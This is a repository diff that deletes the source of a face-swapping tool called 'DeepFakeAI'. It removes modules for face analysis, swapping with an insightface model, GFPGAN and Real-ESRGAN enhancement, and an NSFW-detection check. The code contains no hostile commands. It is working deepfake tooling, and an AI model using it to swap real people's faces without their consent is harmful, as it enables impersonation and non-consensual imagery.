filter_faces.append(face)
|
90 |
-
elif face['age'] > 59 and age == 'senior':
|
91 |
-
filter_faces.append(face)
|
92 |
-
return filter_faces
|
93 |
-
|
94 |
-
|
95 |
-
def filter_by_gender(faces : List[Face], gender : FaceAnalyserGender) -> List[Face]:
|
96 |
-
filter_faces = []
|
97 |
-
for face in faces:
|
98 |
-
if face['gender'] == 1 and gender == 'male':
|
99 |
-
filter_faces.append(face)
|
100 |
-
if face['gender'] == 0 and gender == 'female':
|
101 |
-
filter_faces.append(face)
|
102 |
-
return filter_faces
|
103 |
-
|
104 |
-
|
105 |
-
def get_faces_total(frame : Frame) -> int:
|
106 |
-
return len(get_many_faces(frame))
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
DeepFakeAI/face_reference.py
DELETED
@@ -1,21 +0,0 @@
|
|
1 |
-
from typing import Optional
|
2 |
-
|
3 |
-
from DeepFakeAI.typing import Face
|
4 |
-
|
5 |
-
FACE_REFERENCE = None
|
6 |
-
|
7 |
-
|
8 |
-
def get_face_reference() -> Optional[Face]:
|
9 |
-
return FACE_REFERENCE
|
10 |
-
|
11 |
-
|
12 |
-
def set_face_reference(face : Face) -> None:
|
13 |
-
global FACE_REFERENCE
|
14 |
-
|
15 |
-
FACE_REFERENCE = face
|
16 |
-
|
17 |
-
|
18 |
-
def clear_face_reference() -> None:
|
19 |
-
global FACE_REFERENCE
|
20 |
-
|
21 |
-
FACE_REFERENCE = None
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
DeepFakeAI/feed.db
DELETED
File without changes
|
DeepFakeAI/globals.py
DELETED
@@ -1,30 +0,0 @@
|
|
1 |
-
from typing import List, Optional
|
2 |
-
|
3 |
-
from DeepFakeAI.typing import FaceRecognition, FaceAnalyserDirection, FaceAnalyserAge, FaceAnalyserGender, TempFrameFormat
|
4 |
-
|
5 |
-
source_path : Optional[str] = None
|
6 |
-
target_path : Optional[str] = None
|
7 |
-
output_path : Optional[str] = None
|
8 |
-
headless : Optional[bool] = None
|
9 |
-
frame_processors : List[str] = []
|
10 |
-
ui_layouts : List[str] = []
|
11 |
-
keep_fps : Optional[bool] = None
|
12 |
-
keep_temp : Optional[bool] = None
|
13 |
-
skip_audio : Optional[bool] = None
|
14 |
-
face_recognition : Optional[FaceRecognition] = None
|
15 |
-
face_analyser_direction : Optional[FaceAnalyserDirection] = None
|
16 |
-
face_analyser_age : Optional[FaceAnalyserAge] = None
|
17 |
-
face_analyser_gender : Optional[FaceAnalyserGender] = None
|
18 |
-
reference_face_position : Optional[int] = None
|
19 |
-
reference_frame_number : Optional[int] = None
|
20 |
-
reference_face_distance : Optional[float] = None
|
21 |
-
trim_frame_start : Optional[int] = None
|
22 |
-
trim_frame_end : Optional[int] = None
|
23 |
-
temp_frame_format : Optional[TempFrameFormat] = None
|
24 |
-
temp_frame_quality : Optional[int] = None
|
25 |
-
output_video_encoder : Optional[str] = None
|
26 |
-
output_video_quality : Optional[int] = None
|
27 |
-
max_memory : Optional[int] = None
|
28 |
-
execution_providers : List[str] = []
|
29 |
-
execution_thread_count : Optional[int] = None
|
30 |
-
execution_queue_count : Optional[int] = None
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
DeepFakeAI/images.db
DELETED
File without changes
|
DeepFakeAI/metadata.py
DELETED
@@ -1,13 +0,0 @@
|
|
1 |
-
METADATA =\
|
2 |
-
{
|
3 |
-
'name': 'DeepFakeAI',
|
4 |
-
'description': 'Next generation face swapper and enhancer',
|
5 |
-
'version': '1.2.0',
|
6 |
-
'license': 'MIT',
|
7 |
-
'author': 'Ashiq Hussain Mir',
|
8 |
-
'url': 'https://codegenius.me'
|
9 |
-
}
|
10 |
-
|
11 |
-
|
12 |
-
def get(key : str) -> str:
|
13 |
-
return METADATA[key]
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
DeepFakeAI/predictor.py
DELETED
@@ -1,43 +0,0 @@
|
|
1 |
-
import threading
|
2 |
-
import numpy
|
3 |
-
import opennsfw2
|
4 |
-
from PIL import Image
|
5 |
-
from keras import Model
|
6 |
-
|
7 |
-
from DeepFakeAI.typing import Frame
|
8 |
-
|
9 |
-
PREDICTOR = None
|
10 |
-
THREAD_LOCK = threading.Lock()
|
11 |
-
MAX_PROBABILITY = 0.75
|
12 |
-
|
13 |
-
|
14 |
-
def get_predictor() -> Model:
|
15 |
-
global PREDICTOR
|
16 |
-
|
17 |
-
with THREAD_LOCK:
|
18 |
-
if PREDICTOR is None:
|
19 |
-
PREDICTOR = opennsfw2.make_open_nsfw_model()
|
20 |
-
return PREDICTOR
|
21 |
-
|
22 |
-
|
23 |
-
def clear_predictor() -> None:
|
24 |
-
global PREDICTOR
|
25 |
-
|
26 |
-
PREDICTOR = None
|
27 |
-
|
28 |
-
|
29 |
-
def predict_frame(target_frame : Frame) -> bool:
|
30 |
-
image = Image.fromarray(target_frame)
|
31 |
-
image = opennsfw2.preprocess_image(image, opennsfw2.Preprocessing.YAHOO)
|
32 |
-
views = numpy.expand_dims(image, axis = 0)
|
33 |
-
_, probability = get_predictor().predict(views)[0]
|
34 |
-
return probability > MAX_PROBABILITY
|
35 |
-
|
36 |
-
|
37 |
-
def predict_image(target_path : str) -> bool:
|
38 |
-
return opennsfw2.predict_image(target_path) > MAX_PROBABILITY
|
39 |
-
|
40 |
-
|
41 |
-
def predict_video(target_path : str) -> bool:
|
42 |
-
_, probabilities = opennsfw2.predict_video_frames(video_path = target_path, frame_interval = 100)
|
43 |
-
return any(probability > MAX_PROBABILITY for probability in probabilities)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
DeepFakeAI/processors/__init__.py
DELETED
File without changes
|
DeepFakeAI/processors/__pycache__/__init__.cpython-310.pyc
DELETED
Binary file (146 Bytes)
|
|
DeepFakeAI/processors/frame/__init__.py
DELETED
File without changes
|
DeepFakeAI/processors/frame/__pycache__/__init__.cpython-310.pyc
DELETED
Binary file (152 Bytes)
|
|
DeepFakeAI/processors/frame/__pycache__/core.cpython-310.pyc
DELETED
Binary file (4.06 kB)
|
|
DeepFakeAI/processors/frame/core.py
DELETED
@@ -1,113 +0,0 @@
|
|
1 |
-
import os
|
2 |
-
import sys
|
3 |
-
import importlib
|
4 |
-
import psutil
|
5 |
-
from concurrent.futures import ThreadPoolExecutor, as_completed
|
6 |
-
from queue import Queue
|
7 |
-
from types import ModuleType
|
8 |
-
from typing import Any, List, Callable
|
9 |
-
from tqdm import tqdm
|
10 |
-
|
11 |
-
import DeepFakeAI.globals
|
12 |
-
from DeepFakeAI import wording
|
13 |
-
|
14 |
-
FRAME_PROCESSORS_MODULES : List[ModuleType] = []
|
15 |
-
FRAME_PROCESSORS_METHODS =\
|
16 |
-
[
|
17 |
-
'get_frame_processor',
|
18 |
-
'clear_frame_processor',
|
19 |
-
'pre_check',
|
20 |
-
'pre_process',
|
21 |
-
'process_frame',
|
22 |
-
'process_frames',
|
23 |
-
'process_image',
|
24 |
-
'process_video',
|
25 |
-
'post_process'
|
26 |
-
]
|
27 |
-
|
28 |
-
|
29 |
-
def load_frame_processor_module(frame_processor : str) -> Any:
|
30 |
-
try:
|
31 |
-
frame_processor_module = importlib.import_module('DeepFakeAI.processors.frame.modules.' + frame_processor)
|
32 |
-
for method_name in FRAME_PROCESSORS_METHODS:
|
33 |
-
if not hasattr(frame_processor_module, method_name):
|
34 |
-
raise NotImplementedError
|
35 |
-
except ModuleNotFoundError:
|
36 |
-
sys.exit(wording.get('frame_processor_not_loaded').format(frame_processor = frame_processor))
|
37 |
-
except NotImplementedError:
|
38 |
-
sys.exit(wording.get('frame_processor_not_implemented').format(frame_processor = frame_processor))
|
39 |
-
return frame_processor_module
|
40 |
-
|
41 |
-
|
42 |
-
def get_frame_processors_modules(frame_processors : List[str]) -> List[ModuleType]:
|
43 |
-
global FRAME_PROCESSORS_MODULES
|
44 |
-
|
45 |
-
if not FRAME_PROCESSORS_MODULES:
|
46 |
-
for frame_processor in frame_processors:
|
47 |
-
frame_processor_module = load_frame_processor_module(frame_processor)
|
48 |
-
FRAME_PROCESSORS_MODULES.append(frame_processor_module)
|
49 |
-
return FRAME_PROCESSORS_MODULES
|
50 |
-
|
51 |
-
|
52 |
-
def clear_frame_processors_modules() -> None:
|
53 |
-
global FRAME_PROCESSORS_MODULES
|
54 |
-
|
55 |
-
for frame_processor_module in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
|
56 |
-
frame_processor_module.clear_frame_processor()
|
57 |
-
FRAME_PROCESSORS_MODULES = []
|
58 |
-
|
59 |
-
|
60 |
-
def multi_process_frame(source_path : str, temp_frame_paths : List[str], process_frames: Callable[[str, List[str], Any], None], update: Callable[[], None]) -> None:
|
61 |
-
with ThreadPoolExecutor(max_workers = DeepFakeAI.globals.execution_thread_count) as executor:
|
62 |
-
futures = []
|
63 |
-
queue = create_queue(temp_frame_paths)
|
64 |
-
queue_per_future = max(len(temp_frame_paths) // DeepFakeAI.globals.execution_thread_count * DeepFakeAI.globals.execution_queue_count, 1)
|
65 |
-
while not queue.empty():
|
66 |
-
future = executor.submit(process_frames, source_path, pick_queue(queue, queue_per_future), update)
|
67 |
-
futures.append(future)
|
68 |
-
for future in as_completed(futures):
|
69 |
-
future.result()
|
70 |
-
|
71 |
-
|
72 |
-
def create_queue(temp_frame_paths : List[str]) -> Queue[str]:
|
73 |
-
queue: Queue[str] = Queue()
|
74 |
-
for frame_path in temp_frame_paths:
|
75 |
-
queue.put(frame_path)
|
76 |
-
return queue
|
77 |
-
|
78 |
-
|
79 |
-
def pick_queue(queue : Queue[str], queue_per_future : int) -> List[str]:
|
80 |
-
queues = []
|
81 |
-
for _ in range(queue_per_future):
|
82 |
-
if not queue.empty():
|
83 |
-
queues.append(queue.get())
|
84 |
-
return queues
|
85 |
-
|
86 |
-
|
87 |
-
def process_video(source_path : str, frame_paths : List[str], process_frames : Callable[[str, List[str], Any], None]) -> None:
|
88 |
-
progress_bar_format = '{l_bar}{bar}| {n_fmt}/{total_fmt} [{elapsed}<{remaining}, {rate_fmt}{postfix}]'
|
89 |
-
total = len(frame_paths)
|
90 |
-
with tqdm(total = total, desc = wording.get('processing'), unit = 'frame', dynamic_ncols = True, bar_format = progress_bar_format) as progress:
|
91 |
-
multi_process_frame(source_path, frame_paths, process_frames, lambda: update_progress(progress))
|
92 |
-
|
93 |
-
|
94 |
-
def update_progress(progress : Any = None) -> None:
|
95 |
-
process = psutil.Process(os.getpid())
|
96 |
-
memory_usage = process.memory_info().rss / 1024 / 1024 / 1024
|
97 |
-
progress.set_postfix(
|
98 |
-
{
|
99 |
-
'memory_usage': '{:.2f}'.format(memory_usage).zfill(5) + 'GB',
|
100 |
-
'execution_providers': DeepFakeAI.globals.execution_providers,
|
101 |
-
'execution_thread_count': DeepFakeAI.globals.execution_thread_count,
|
102 |
-
'execution_queue_count': DeepFakeAI.globals.execution_queue_count
|
103 |
-
})
|
104 |
-
progress.refresh()
|
105 |
-
progress.update(1)
|
106 |
-
|
107 |
-
|
108 |
-
def get_device() -> str:
|
109 |
-
if 'CUDAExecutionProvider' in DeepFakeAI.globals.execution_providers:
|
110 |
-
return 'cuda'
|
111 |
-
if 'CoreMLExecutionProvider' in DeepFakeAI.globals.execution_providers:
|
112 |
-
return 'mps'
|
113 |
-
return 'cpu'
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
DeepFakeAI/processors/frame/modules/__init__.py
DELETED
File without changes
|
DeepFakeAI/processors/frame/modules/__pycache__/__init__.cpython-310.pyc
DELETED
Binary file (160 Bytes)
|
|
DeepFakeAI/processors/frame/modules/__pycache__/face_enhancer.cpython-310.pyc
DELETED
Binary file (3.6 kB)
|
|
DeepFakeAI/processors/frame/modules/__pycache__/face_swapper.cpython-310.pyc
DELETED
Binary file (4.21 kB)
|
|
DeepFakeAI/processors/frame/modules/__pycache__/frame_enhancer.cpython-310.pyc
DELETED
Binary file (3.09 kB)
|
|
DeepFakeAI/processors/frame/modules/face_enhancer.py
DELETED
@@ -1,100 +0,0 @@
|
|
1 |
-
from typing import Any, List, Callable
|
2 |
-
import cv2
|
3 |
-
import threading
|
4 |
-
from gfpgan.utils import GFPGANer
|
5 |
-
|
6 |
-
import DeepFakeAI.globals
|
7 |
-
import DeepFakeAI.processors.frame.core as frame_processors
|
8 |
-
from DeepFakeAI import wording
|
9 |
-
from DeepFakeAI.core import update_status
|
10 |
-
from DeepFakeAI.face_analyser import get_many_faces
|
11 |
-
from DeepFakeAI.typing import Frame, Face
|
12 |
-
from DeepFakeAI.utilities import conditional_download, resolve_relative_path, is_image, is_video
|
13 |
-
|
14 |
-
FRAME_PROCESSOR = None
|
15 |
-
THREAD_SEMAPHORE = threading.Semaphore()
|
16 |
-
THREAD_LOCK = threading.Lock()
|
17 |
-
NAME = 'FACEFUSION.FRAME_PROCESSOR.FACE_ENHANCER'
|
18 |
-
|
19 |
-
|
20 |
-
def get_frame_processor() -> Any:
|
21 |
-
global FRAME_PROCESSOR
|
22 |
-
|
23 |
-
with THREAD_LOCK:
|
24 |
-
if FRAME_PROCESSOR is None:
|
25 |
-
model_path = resolve_relative_path('../.assets/models/GFPGANv1.4.pth')
|
26 |
-
FRAME_PROCESSOR = GFPGANer(
|
27 |
-
model_path = model_path,
|
28 |
-
upscale = 1,
|
29 |
-
device = frame_processors.get_device()
|
30 |
-
)
|
31 |
-
return FRAME_PROCESSOR
|
32 |
-
|
33 |
-
|
34 |
-
def clear_frame_processor() -> None:
|
35 |
-
global FRAME_PROCESSOR
|
36 |
-
|
37 |
-
FRAME_PROCESSOR = None
|
38 |
-
|
39 |
-
|
40 |
-
def pre_check() -> bool:
|
41 |
-
download_directory_path = resolve_relative_path('../.assets/models')
|
42 |
-
conditional_download(download_directory_path, ['https://github.com/facefusion/facefusion-assets/releases/download/models/GFPGANv1.4.pth'])
|
43 |
-
return True
|
44 |
-
|
45 |
-
|
46 |
-
def pre_process() -> bool:
|
47 |
-
if not is_image(DeepFakeAI.globals.target_path) and not is_video(DeepFakeAI.globals.target_path):
|
48 |
-
update_status(wording.get('select_image_or_video_target') + wording.get('exclamation_mark'), NAME)
|
49 |
-
return False
|
50 |
-
return True
|
51 |
-
|
52 |
-
|
53 |
-
def post_process() -> None:
|
54 |
-
clear_frame_processor()
|
55 |
-
|
56 |
-
|
57 |
-
def enhance_face(target_face : Face, temp_frame : Frame) -> Frame:
|
58 |
-
start_x, start_y, end_x, end_y = map(int, target_face['bbox'])
|
59 |
-
padding_x = int((end_x - start_x) * 0.5)
|
60 |
-
padding_y = int((end_y - start_y) * 0.5)
|
61 |
-
start_x = max(0, start_x - padding_x)
|
62 |
-
start_y = max(0, start_y - padding_y)
|
63 |
-
end_x = max(0, end_x + padding_x)
|
64 |
-
end_y = max(0, end_y + padding_y)
|
65 |
-
crop_frame = temp_frame[start_y:end_y, start_x:end_x]
|
66 |
-
if crop_frame.size:
|
67 |
-
with THREAD_SEMAPHORE:
|
68 |
-
_, _, crop_frame = get_frame_processor().enhance(
|
69 |
-
crop_frame,
|
70 |
-
paste_back = True
|
71 |
-
)
|
72 |
-
temp_frame[start_y:end_y, start_x:end_x] = crop_frame
|
73 |
-
return temp_frame
|
74 |
-
|
75 |
-
|
76 |
-
def process_frame(source_face : Face, reference_face : Face, temp_frame : Frame) -> Frame:
|
77 |
-
many_faces = get_many_faces(temp_frame)
|
78 |
-
if many_faces:
|
79 |
-
for target_face in many_faces:
|
80 |
-
temp_frame = enhance_face(target_face, temp_frame)
|
81 |
-
return temp_frame
|
82 |
-
|
83 |
-
|
84 |
-
def process_frames(source_path : str, temp_frame_paths : List[str], update: Callable[[], None]) -> None:
|
85 |
-
for temp_frame_path in temp_frame_paths:
|
86 |
-
temp_frame = cv2.imread(temp_frame_path)
|
87 |
-
result_frame = process_frame(None, None, temp_frame)
|
88 |
-
cv2.imwrite(temp_frame_path, result_frame)
|
89 |
-
if update:
|
90 |
-
update()
|
91 |
-
|
92 |
-
|
93 |
-
def process_image(source_path : str, target_path : str, output_path : str) -> None:
|
94 |
-
target_frame = cv2.imread(target_path)
|
95 |
-
result_frame = process_frame(None, None, target_frame)
|
96 |
-
cv2.imwrite(output_path, result_frame)
|
97 |
-
|
98 |
-
|
99 |
-
def process_video(source_path : str, temp_frame_paths : List[str]) -> None:
|
100 |
-
DeepFakeAI.processors.frame.core.process_video(None, temp_frame_paths, process_frames)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
DeepFakeAI/processors/frame/modules/face_swapper.py
DELETED
@@ -1,105 +0,0 @@
|
|
1 |
-
from typing import Any, List, Callable
|
2 |
-
import cv2
|
3 |
-
import insightface
|
4 |
-
import threading
|
5 |
-
|
6 |
-
import DeepFakeAI.globals
|
7 |
-
import DeepFakeAI.processors.frame.core as frame_processors
|
8 |
-
from DeepFakeAI import wording
|
9 |
-
from DeepFakeAI.core import update_status
|
10 |
-
from DeepFakeAI.face_analyser import get_one_face, get_many_faces, find_similar_faces
|
11 |
-
from DeepFakeAI.face_reference import get_face_reference, set_face_reference
|
12 |
-
from DeepFakeAI.typing import Face, Frame
|
13 |
-
from DeepFakeAI.utilities import conditional_download, resolve_relative_path, is_image, is_video
|
14 |
-
|
15 |
-
FRAME_PROCESSOR = None
|
16 |
-
THREAD_LOCK = threading.Lock()
|
17 |
-
NAME = 'FACEFUSION.FRAME_PROCESSOR.FACE_SWAPPER'
|
18 |
-
|
19 |
-
|
20 |
-
def get_frame_processor() -> Any:
|
21 |
-
global FRAME_PROCESSOR
|
22 |
-
|
23 |
-
with THREAD_LOCK:
|
24 |
-
if FRAME_PROCESSOR is None:
|
25 |
-
model_path = resolve_relative_path('../.assets/models/inswapper_128.onnx')
|
26 |
-
FRAME_PROCESSOR = insightface.model_zoo.get_model(model_path, providers = DeepFakeAI.globals.execution_providers)
|
27 |
-
return FRAME_PROCESSOR
|
28 |
-
|
29 |
-
|
30 |
-
def clear_frame_processor() -> None:
|
31 |
-
global FRAME_PROCESSOR
|
32 |
-
|
33 |
-
FRAME_PROCESSOR = None
|
34 |
-
|
35 |
-
|
36 |
-
def pre_check() -> bool:
|
37 |
-
download_directory_path = resolve_relative_path('../.assets/models')
|
38 |
-
conditional_download(download_directory_path, ['https://github.com/facefusion/facefusion-assets/releases/download/models/inswapper_128.onnx'])
|
39 |
-
return True
|
40 |
-
|
41 |
-
|
42 |
-
def pre_process() -> bool:
|
43 |
-
if not is_image(DeepFakeAI.globals.source_path):
|
44 |
-
update_status(wording.get('select_image_source') + wording.get('exclamation_mark'), NAME)
|
45 |
-
return False
|
46 |
-
elif not get_one_face(cv2.imread(DeepFakeAI.globals.source_path)):
|
47 |
-
update_status(wording.get('no_source_face_detected') + wording.get('exclamation_mark'), NAME)
|
48 |
-
return False
|
49 |
-
if not is_image(DeepFakeAI.globals.target_path) and not is_video(DeepFakeAI.globals.target_path):
|
50 |
-
update_status(wording.get('select_image_or_video_target') + wording.get('exclamation_mark'), NAME)
|
51 |
-
return False
|
52 |
-
return True
|
53 |
-
|
54 |
-
|
55 |
-
def post_process() -> None:
|
56 |
-
clear_frame_processor()
|
57 |
-
|
58 |
-
|
59 |
-
def swap_face(source_face : Face, target_face : Face, temp_frame : Frame) -> Frame:
|
60 |
-
return get_frame_processor().get(temp_frame, target_face, source_face, paste_back = True)
|
61 |
-
|
62 |
-
|
63 |
-
def process_frame(source_face : Face, reference_face : Face, temp_frame : Frame) -> Frame:
|
64 |
-
if 'reference' in DeepFakeAI.globals.face_recognition:
|
65 |
-
similar_faces = find_similar_faces(temp_frame, reference_face, DeepFakeAI.globals.reference_face_distance)
|
66 |
-
if similar_faces:
|
67 |
-
for similar_face in similar_faces:
|
68 |
-
temp_frame = swap_face(source_face, similar_face, temp_frame)
|
69 |
-
if 'many' in DeepFakeAI.globals.face_recognition:
|
70 |
-
many_faces = get_many_faces(temp_frame)
|
71 |
-
if many_faces:
|
72 |
-
for target_face in many_faces:
|
73 |
-
temp_frame = swap_face(source_face, target_face, temp_frame)
|
74 |
-
return temp_frame
|
75 |
-
|
76 |
-
|
77 |
-
def process_frames(source_path : str, temp_frame_paths : List[str], update: Callable[[], None]) -> None:
|
78 |
-
source_face = get_one_face(cv2.imread(source_path))
|
79 |
-
reference_face = get_face_reference() if 'reference' in DeepFakeAI.globals.face_recognition else None
|
80 |
-
for temp_frame_path in temp_frame_paths:
|
81 |
-
temp_frame = cv2.imread(temp_frame_path)
|
82 |
-
result_frame = process_frame(source_face, reference_face, temp_frame)
|
83 |
-
cv2.imwrite(temp_frame_path, result_frame)
|
84 |
-
if update:
|
85 |
-
update()
|
86 |
-
|
87 |
-
|
88 |
-
def process_image(source_path : str, target_path : str, output_path : str) -> None:
|
89 |
-
source_face = get_one_face(cv2.imread(source_path))
|
90 |
-
target_frame = cv2.imread(target_path)
|
91 |
-
reference_face = get_one_face(target_frame, DeepFakeAI.globals.reference_face_position) if 'reference' in DeepFakeAI.globals.face_recognition else None
|
92 |
-
result_frame = process_frame(source_face, reference_face, target_frame)
|
93 |
-
cv2.imwrite(output_path, result_frame)
|
94 |
-
|
95 |
-
|
96 |
-
def process_video(source_path : str, temp_frame_paths : List[str]) -> None:
|
97 |
-
conditional_set_face_reference(temp_frame_paths)
|
98 |
-
frame_processors.process_video(source_path, temp_frame_paths, process_frames)
|
99 |
-
|
100 |
-
|
101 |
-
def conditional_set_face_reference(temp_frame_paths : List[str]) -> None:
|
102 |
-
if 'reference' in DeepFakeAI.globals.face_recognition and not get_face_reference():
|
103 |
-
reference_frame = cv2.imread(temp_frame_paths[DeepFakeAI.globals.reference_frame_number])
|
104 |
-
reference_face = get_one_face(reference_frame, DeepFakeAI.globals.reference_face_position)
|
105 |
-
set_face_reference(reference_face)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
DeepFakeAI/processors/frame/modules/frame_enhancer.py
DELETED
@@ -1,88 +0,0 @@
|
|
1 |
-
from typing import Any, List, Callable
|
2 |
-
import cv2
|
3 |
-
import threading
|
4 |
-
from basicsr.archs.rrdbnet_arch import RRDBNet
|
5 |
-
from realesrgan import RealESRGANer
|
6 |
-
|
7 |
-
import DeepFakeAI.processors.frame.core as frame_processors
|
8 |
-
from DeepFakeAI.typing import Frame, Face
|
9 |
-
from DeepFakeAI.utilities import conditional_download, resolve_relative_path
|
10 |
-
|
11 |
-
FRAME_PROCESSOR = None
|
12 |
-
THREAD_SEMAPHORE = threading.Semaphore()
|
13 |
-
THREAD_LOCK = threading.Lock()
|
14 |
-
NAME = 'FACEFUSION.FRAME_PROCESSOR.FRAME_ENHANCER'
|
15 |
-
|
16 |
-
|
17 |
-
def get_frame_processor() -> Any:
|
18 |
-
global FRAME_PROCESSOR
|
19 |
-
|
20 |
-
with THREAD_LOCK:
|
21 |
-
if FRAME_PROCESSOR is None:
|
22 |
-
model_path = resolve_relative_path('../.assets/models/RealESRGAN_x4plus.pth')
|
23 |
-
FRAME_PROCESSOR = RealESRGANer(
|
24 |
-
model_path = model_path,
|
25 |
-
model = RRDBNet(
|
26 |
-
num_in_ch = 3,
|
27 |
-
num_out_ch = 3,
|
28 |
-
num_feat = 64,
|
29 |
-
num_block = 23,
|
30 |
-
num_grow_ch = 32,
|
31 |
-
scale = 4
|
32 |
-
),
|
33 |
-
device = frame_processors.get_device(),
|
34 |
-
tile = 512,
|
35 |
-
tile_pad = 32,
|
36 |
-
pre_pad = 0,
|
37 |
-
scale = 4
|
38 |
-
)
|
39 |
-
return FRAME_PROCESSOR
|
40 |
-
|
41 |
-
|
42 |
-
def clear_frame_processor() -> None:
|
43 |
-
global FRAME_PROCESSOR
|
44 |
-
|
45 |
-
FRAME_PROCESSOR = None
|
46 |
-
|
47 |
-
|
48 |
-
def pre_check() -> bool:
|
49 |
-
download_directory_path = resolve_relative_path('../.assets/models')
|
50 |
-
conditional_download(download_directory_path, ['https://github.com/facefusion/facefusion-assets/releases/download/models/RealESRGAN_x4plus.pth'])
|
51 |
-
return True
|
52 |
-
|
53 |
-
|
54 |
-
def pre_process() -> bool:
|
55 |
-
return True
|
56 |
-
|
57 |
-
|
58 |
-
def post_process() -> None:
|
59 |
-
clear_frame_processor()
|
60 |
-
|
61 |
-
|
62 |
-
def enhance_frame(temp_frame : Frame) -> Frame:
|
63 |
-
with THREAD_SEMAPHORE:
|
64 |
-
temp_frame, _ = get_frame_processor().enhance(temp_frame, outscale = 1)
|
65 |
-
return temp_frame
|
66 |
-
|
67 |
-
|
68 |
-
def process_frame(source_face : Face, reference_face : Face, temp_frame : Frame) -> Frame:
|
69 |
-
return enhance_frame(temp_frame)
|
70 |
-
|
71 |
-
|
72 |
-
def process_frames(source_path : str, temp_frame_paths : List[str], update: Callable[[], None]) -> None:
|
73 |
-
for temp_frame_path in temp_frame_paths:
|
74 |
-
temp_frame = cv2.imread(temp_frame_path)
|
75 |
-
result_frame = process_frame(None, None, temp_frame)
|
76 |
-
cv2.imwrite(temp_frame_path, result_frame)
|
77 |
-
if update:
|
78 |
-
update()
|
79 |
-
|
80 |
-
|
81 |
-
def process_image(source_path : str, target_path : str, output_path : str) -> None:
|
82 |
-
target_frame = cv2.imread(target_path)
|
83 |
-
result = process_frame(None, None, target_frame)
|
84 |
-
cv2.imwrite(output_path, result)
|
85 |
-
|
86 |
-
|
87 |
-
def process_video(source_path : str, temp_frame_paths : List[str]) -> None:
|
88 |
-
frame_processors.process_video(None, temp_frame_paths, process_frames)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
